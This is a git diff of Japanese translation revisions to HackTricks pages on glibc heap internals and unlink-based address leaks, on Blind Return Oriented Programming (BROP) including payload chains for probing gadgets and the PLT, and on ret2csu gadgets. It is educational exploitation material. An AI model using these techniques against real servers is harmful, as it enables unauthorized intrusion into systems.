Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 418 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 461 KiB |
Before Width: | Height: | Size: 76 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 22 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 216 KiB |
|
@ -838,7 +838,8 @@
|
|||
* [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
|
||||
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
* [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
|
||||
* [LLM Training - Data Preparation](todo/llm-training-data-preparation.md)
|
||||
* [LLM Training - Data Preparation](todo/llm-training-data-preparation/README.md)
|
||||
* [4. Pre-training](todo/llm-training-data-preparation/4.-pre-training.md)
|
||||
* [Burp Suite](todo/burp-suite.md)
|
||||
* [Other Web Tricks](todo/other-web-tricks.md)
|
||||
* [Interesting HTTP](todo/interesting-http.md)
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
## ヒープの基本
|
||||
|
||||
ヒープは基本的に、プログラムが**`malloc`**、`calloc`などの関数を呼び出してデータを要求する際にデータを保存できる場所です。さらに、このメモリがもはや必要ない場合は、**`free`**関数を呼び出すことで利用可能になります。
|
||||
ヒープは基本的に、プログラムが**`malloc`**、`calloc`などの関数を呼び出してデータを要求する際にデータを格納できる場所です。さらに、このメモリがもはや必要ない場合は、**`free`**関数を呼び出すことで利用可能になります。
|
||||
|
||||
示されているように、これはバイナリがメモリにロードされた直後の場所です(`[heap]`セクションを確認してください):
|
||||
|
||||
|
@ -10,7 +10,7 @@
|
|||
|
||||
### 基本的なチャンクの割り当て
|
||||
|
||||
ヒープに保存するデータが要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にすることなく、可能な限り最小限のメモリを予約することです。このために、メタデータチャンク情報が使用され、各使用中/未使用のチャンクの位置を知ることができます。
|
||||
ヒープにデータを格納するために要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にすることなく、可能な限り最小限のメモリを予約することです。このために、メタデータチャンク情報が使用され、各使用中/未使用のチャンクの位置を知ることができます。
|
||||
|
||||
スペースを予約する方法はいくつかありますが、主に使用されるビンによって異なりますが、一般的な方法論は次のとおりです:
|
||||
|
||||
|
@ -29,7 +29,7 @@
|
|||
|
||||
これに対処するために、ptmalloc2ヒープアロケータは「アリーナ」を導入しました。ここで**各アリーナ**は**独自の**データ**構造**と**ミューテックス**を持つ**別々のヒープ**として機能し、異なるアリーナを使用する限り、複数のスレッドが互いに干渉することなくヒープ操作を実行できます。
|
||||
|
||||
デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコア数の2倍、64ビットシステムでは8倍の制限まで行います。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。
|
||||
デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコアの数の2倍、64ビットシステムでは8倍までの制限があります。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。
|
||||
|
||||
メインアリーナとは異なり、`brk`システムコールを使用して拡張されるメインアリーナに対し、セカンダリアリーナは`mmap`と`mprotect`を使用して「サブヒープ」を作成し、マルチスレッド操作のためのメモリ管理の柔軟性を提供します。
|
||||
|
||||
|
@ -45,7 +45,7 @@
|
|||
* デフォルトでは、サブヒープの予約サイズは32ビットプロセスで1 MB、64ビットプロセスで64 MBです。
|
||||
3. **`mprotect`による段階的拡張**:
|
||||
* 予約されたメモリ領域は最初に`PROT_NONE`としてマークされ、カーネルがこのスペースに物理メモリを割り当てる必要がないことを示します。
|
||||
* サブヒープを「成長」させるために、ヒープマネージャーは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。
|
||||
* サブヒープを「成長させる」ために、ヒープマネージャーは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。
|
||||
* サブヒープが完全に使い果たされると、ヒープマネージャーは新しいサブヒープを作成して割り当てを続けます。
|
||||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
@ -71,8 +71,8 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
### malloc\_state
|
||||
|
||||
**各ヒープ**(メインアリーナまたは他のスレッドアリーナ)には**`malloc_state`構造体があります。**\
|
||||
**メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要です(したがってlibcメモリ空間に位置しています)。\
|
||||
スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内に位置しています**。
|
||||
**メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要です(したがって、libcのメモリ空間にあります)。\
|
||||
スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内にあります**。
|
||||
|
||||
この構造体から注目すべき興味深い点がいくつかあります(以下のCコードを参照):
|
||||
|
||||
|
@ -86,7 +86,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` は**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含んでいます(-2はインデックス0が使用されていないためです)。
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` は**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含みます(-2はインデックス0が使用されないためです)。
|
||||
* したがって、これらのビンの**最初のチャンク**はこの構造体への**逆ポインタ**を持ち、これらのビンの**最後のチャンク**はこの構造体への**前方ポインタ**を持ちます。基本的に、**メインアリーナでこれらのアドレスをl**eakできれば、**libc**内の構造体へのポインタを持つことになります。
|
||||
* 構造体`struct malloc_state *next;`と`struct malloc_state *next_free;`はアリーナのリンクリストです。
|
||||
* `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのすべてのスペース**です。トップチャンクが「空」であると、ヒープは完全に使用されており、さらにスペースを要求する必要があります。
|
||||
|
@ -155,7 +155,7 @@ struct malloc_chunk* bk_nextsize;
|
|||
|
||||
typedef struct malloc_chunk* mchunkptr;
|
||||
```
|
||||
前述のように、これらのチャンクにはメタデータも含まれており、この画像で非常によく表現されています:
|
||||
前述のように、これらのチャンクにはメタデータも含まれており、以下の画像で非常に良く表現されています:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
|
@ -165,7 +165,7 @@ typedef struct malloc_chunk* mchunkptr;
|
|||
* `M`: 1の場合、このチャンクはmmapで割り当てられたスペースの一部であり、ヒープの一部ではありません
|
||||
* `P`: 1の場合、前のチャンクは使用中です
|
||||
|
||||
次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときの前のチャンクサイズを示すための0x08B(または割り当てられたときのユーザーデータを格納するため)。
|
||||
次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときに前のチャンクサイズを示すための0x08B(または割り当てられたときにユーザーデータを格納するため)。
|
||||
|
||||
さらに、利用可能な場合、ユーザーデータは次のデータを含むためにも使用されます:
|
||||
|
||||
|
@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
|||
return request2size (req);
|
||||
}
|
||||
```
|
||||
注意:必要な総スペースを計算する際、`prev_size` フィールドはデータを格納するために使用できるため、`SIZE_SZ` は1回だけ追加されます。したがって、初期ヘッダーのみが必要です。
|
||||
注意:必要な総スペースを計算する際、`prev_size` フィールドはデータを格納するために使用できるため、`SIZE_SZ` は1回だけ追加されることに注意してください。したがって、初期ヘッダーのみが必要です。
|
||||
|
||||
### チャンクデータを取得し、メタデータを変更する
|
||||
|
||||
|
@ -327,7 +327,7 @@ people extending or adapting this malloc.
|
|||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
* インシュービット
|
||||
* インスー ビット
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
|
@ -470,19 +470,19 @@ return 0;
|
|||
|
||||
前の例をデバッグすると、最初に1つのアリーナしかないことがわかります:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
次に、最初のスレッド、mallocを呼び出すスレッドを呼び出すと、新しいアリーナが作成されます:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
その中にはいくつかのチャンクが見つかります:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## ビンとメモリの割り当て/解放
|
||||
|
||||
ビンが何であり、どのように整理され、メモリがどのように割り当てられ、解放されるかを確認してください:
|
||||
ビンが何であり、どのように整理されているか、メモリがどのように割り当てられ、解放されるかを確認してください:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
|
|
|
@ -67,23 +67,23 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
|
||||
unlinkプロセスの素晴らしいグラフィカルな説明を確認してください:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### セキュリティチェック
|
||||
|
||||
* チャンクの指定サイズが次のチャンクのprev\_sizeと同じであることを確認する
|
||||
* また、`P->fd->bk == P` および `P->bk->fw == P` であることを確認する
|
||||
* チャンクが小さくない場合、`P->fd_nextsize->bk_nextsize == P` および `P->bk_nextsize->fd_nextsize == P` であることを確認する
|
||||
* チャンクの指定サイズが次のチャンクのprev\_sizeと同じであることを確認します
|
||||
* また、`P->fd->bk == P` および `P->bk->fw == P` であることを確認します
|
||||
* チャンクが小さくない場合、`P->fd_nextsize->bk_nextsize == P` および `P->bk_nextsize->fd_nextsize == P` であることを確認します
|
||||
|
||||
### リーク
|
||||
|
||||
unlinkされたチャンクは割り当てられたアドレスをクリーニングしないため、アクセスして読むことができれば、いくつかの興味深いアドレスをリークすることが可能です:
|
||||
アンリンクされたチャンクは割り当てられたアドレスをクリーニングしないため、アクセスして読むことで、いくつかの興味深いアドレスをリークすることが可能です:
|
||||
|
||||
Libcリーク:
|
||||
Libc リーク:
|
||||
|
||||
* Pが二重リンクリストの先頭にある場合、`bk`はlibcの`malloc_state`を指します
|
||||
* Pが二重リンクリストの末尾にある場合、`fd`はlibcの`malloc_state`を指します
|
||||
* 二重リンクリストに1つのフリーなチャンクしか含まれていない場合、Pは二重リンクリストにあり、`fd`と`bk`の両方が`malloc_state`内のアドレスをリークすることができます。
|
||||
* 二重リンクリストに1つのフリーチャンクしか含まれていない場合、Pは二重リンクリストにあり、`fd`と`bk`の両方が`malloc_state`内のアドレスをリークできます。
|
||||
|
||||
ヒープリーク:
|
||||
|
||||
|
|
|
@ -1,47 +1,47 @@
|
|||
# BROP - Blind Return Oriented Programming
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
この攻撃の目的は、**脆弱なバイナリに関する情報がなくてもバッファオーバーフローを介してROPを悪用できるようにすること**です。\
|
||||
この攻撃は以下のシナリオに基づいています:
|
||||
この攻撃の目的は、**脆弱なバイナリに関する情報なしにバッファオーバーフローを介してROPを悪用できるようにすること**です。\
|
||||
この攻撃は次のシナリオに基づいています:
|
||||
|
||||
* スタックの脆弱性とそれをトリガーする方法の知識。
|
||||
* クラッシュ後に再起動するサーバーアプリケーション。
|
||||
|
||||
## 攻撃
|
||||
|
||||
### **1. 脆弱なオフセットを見つける** サーバーの異常が検出されるまで1文字多く送信する
|
||||
### **1. 脆弱なオフセットを見つける** サーバーの異常が検出されるまで1文字追加で送信する
|
||||
|
||||
### **2. カナリアをブルートフォース** して漏洩させる
|
||||
|
||||
### **3. スタック内の保存されたRBPとRIP** アドレスをブルートフォースして漏洩させる
|
||||
### **3. スタック内の保存されたRBPおよびRIPアドレスをブルートフォース** して漏洩させる
|
||||
|
||||
これらのプロセスに関する詳細情報は、[こちら (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)および[こちら (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)で見つけることができます。
|
||||
|
||||
### **4. 停止ガジェットを見つける**
|
||||
|
||||
このガジェットは基本的に、ROPガジェットによって何か興味深いものが実行されたことを確認するためのもので、実行がクラッシュしなかったことを示します。通常、このガジェットは**実行を停止する**ものであり、特定のROPガジェットが実行されたことを確認するためにROPチェーンの最後に配置されます。
|
||||
このガジェットは基本的に、ROPガジェットによって何か興味深いものが実行されたことを確認することを可能にします。なぜなら、実行がクラッシュしなかったからです。通常、このガジェットは**実行を停止する**ものであり、特定のROPガジェットが実行されたことを確認するためにROPチェーンの最後に配置されます。
|
||||
|
||||
### **5. BROPガジェットを見つける**
|
||||
|
||||
この技術は[**ret2csu**](ret2csu.md)ガジェットを使用します。これは、いくつかの命令の途中でこのガジェットにアクセスすると、**`rsi`**と**`rdi`**を制御するガジェットが得られるためです:
|
||||
この技術は[**ret2csu**](ret2csu.md)ガジェットを使用します。これは、いくつかの命令の途中でこのガジェットにアクセスすると、**`rsi`**および**`rdi`**を制御するガジェットが得られるためです:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
これらがガジェットです:
|
||||
|
||||
|
@ -50,7 +50,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
これらのガジェットを使用すると、関数を呼び出すための**2つの引数を制御**できることに注意してください。
|
||||
|
||||
また、ret2csuガジェットは**非常にユニークなシグネチャ**を持っているため、スタックから6つのレジスタをポップします。したがって、次のようなチェーンを送信します:
|
||||
また、ret2csuガジェットは**非常にユニークなシグネチャ**を持っているため、スタックから6つのレジスタをポップすることになります。したがって、次のようなチェーンを送信します:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
|
@ -60,11 +60,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
ret2csuガジェットのアドレスを知っていると、**`rsi`と`rdi`を制御するガジェットのアドレスを推測する**ことが可能です。
|
||||
ret2csuガジェットのアドレスを知っていると、**`rsi`および`rdi`を制御するガジェットのアドレスを推測する**ことが可能です。
|
||||
|
||||
### 6. PLTを見つける
|
||||
|
||||
PLTテーブルは0x400000から、またはスタックからの**漏洩したRIPアドレス**から検索できます(**PIE**が使用されている場合)。テーブルの**エントリ**は**16B**(0x10B)で区切られており、1つの関数が呼び出されると、引数が正しくなくてもサーバーはクラッシュしません。また、**PLTのエントリのアドレス + 6Bもクラッシュしません**。これは最初に実行されるコードです。
|
||||
PLTテーブルは0x400000から、またはスタックからの**漏洩したRIPアドレス**から検索できます(**PIE**が使用されている場合)。テーブルの**エントリ**は**16B**(0x10B)で**区切られており**、1つの関数が呼び出されると、引数が正しくなくてもサーバーはクラッシュしません。また、**PLTのエントリのアドレス + 6Bもクラッシュしません**。なぜなら、それは最初に実行されるコードだからです。
|
||||
|
||||
したがって、次の動作を確認することでPLTテーブルを見つけることができます:
|
||||
|
||||
|
@ -76,14 +76,14 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
|
|||
|
||||
**`strcmp`**関数は、比較される文字列の長さをレジスタ**`rdx`**に設定します。**`rdx`**は**3番目の引数**であり、後で`write`を使用してプログラムを漏洩させるために**0より大きい**必要があります。
|
||||
|
||||
**`strcmp`**のPLT内の位置を、その動作に基づいて見つけることができます。これにより、関数の最初の2つの引数を制御できることがわかります:
|
||||
**`strcmp`**のPLT内の位置を、その動作に基づいて見つけることができます。なぜなら、私たちは今、関数の最初の2つの引数を制御できるからです:
|
||||
|
||||
* strcmp(\<非読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
|
||||
* strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ
|
||||
* strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
|
||||
* strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない
|
||||
|
||||
これは、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用して確認できます。これは基本的に**PLTテーブルのエントリを呼び出し + 0xb**(**`dlresolve`**を呼び出す)し、その後スタックに**調査したいエントリ番号**(ゼロから始まる)を配置して、最初のエントリからすべてのPLTエントリをスキャンします:
|
||||
これは、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用して確認できます。これは基本的に**PLTテーブルのエントリを呼び出し + 0xb**(**`dlresolve`**を呼び出す)し、スタック内に**調べたいエントリ番号**(ゼロから始まる)を配置して、最初のエントリからすべてのPLTエントリをスキャンします:
|
||||
|
||||
* strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> クラッシュします
|
||||
|
@ -101,7 +101,7 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
|
|||
`strcmp`を見つけることで、**`rdx`**を0より大きい値に設定することが可能です。
|
||||
|
||||
{% hint style="success" %}
|
||||
通常、`rdx`にはすでに0より大きい値が格納されているため、このステップは必要ないかもしれません。
|
||||
通常、`rdx`はすでに0より大きい値を保持しているため、このステップは必要ないかもしれません。
|
||||
{% endhint %}
|
||||
|
||||
### 8. Writeまたは同等のものを見つける
|
||||
|
@ -118,7 +118,7 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
|
|||
|
||||
現在の問題は、**PLT内のwrite関数がどこにあるか**がわからず、**データをソケットに送信するためのfd番号がわからない**ことです。
|
||||
|
||||
しかし、**PLTテーブルの位置はわかっており**、その**動作**に基づいてwriteを見つけることが可能です。また、サーバーとの**複数の接続**を作成し、**高いFD**を使用して、いくつかの接続に一致することを期待できます。
|
||||
しかし、**PLTテーブルの位置はわかっており**、その**動作**に基づいてwriteを見つけることが可能です。また、サーバーとの**複数の接続**を作成し、**高いFD**を使用して、いくつかの接続と一致することを期待できます。
|
||||
|
||||
これらの関数を見つけるための動作シグネチャ:
|
||||
|
||||
|
@ -136,16 +136,16 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR
|
|||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -19,13 +19,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)基本情報
|
||||
|
||||
**ret2csu**は、プログラムを制御しようとする際に、通常使用する**gadgets**が見つからない場合に使用されるハッキング技術です。
|
||||
**ret2csu** は、プログラムの制御を試みる際に、通常使用する **gadgets** を見つけられない場合に使用されるハッキング技術です。
|
||||
|
||||
プログラムが特定のライブラリ(libcなど)を使用している場合、プログラムの異なる部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に`__libc_csu_init`と呼ばれるものが、私たちの欠けているgadgetsとして機能する隠れた宝物があります。
|
||||
プログラムが特定のライブラリ(libcなど)を使用している場合、プログラムの異なる部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれるものが、私たちの欠けている gadgets として機能する隠れた宝石があります。
|
||||
|
||||
### \_\_libc\_csu\_initの魔法のgadgets
|
||||
### \_\_libc\_csu\_init の魔法の gadgets
|
||||
|
||||
**`__libc_csu_init`**には、強調すべき2つの命令のシーケンス(gadgets)があります:
|
||||
**`__libc_csu_init`** には、強調すべき2つの命令のシーケンス(gadgets)があります:
|
||||
|
||||
1. 最初のシーケンスは、いくつかのレジスタ(rbx、rbp、r12、r13、r14、r15)に値を設定することを可能にします。これらは、後で使用したい数値やアドレスを保存するためのスロットのようなものです。
|
||||
```armasm
|
||||
|
@ -41,7 +41,7 @@ ret;
|
|||
|
||||
2. 2番目のシーケンスは、設定した値を使用していくつかのことを行います:
|
||||
* **特定の値を他のレジスタに移動**し、関数のパラメータとして使用できるようにします。
|
||||
* **r15とrbxの値を足し合わせ、rbxを8倍することによって決定された場所にコールを実行**します。
|
||||
* **r15とrbxの値を足し合わせ、rbxを8倍して**決定された場所にコールを実行します。
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
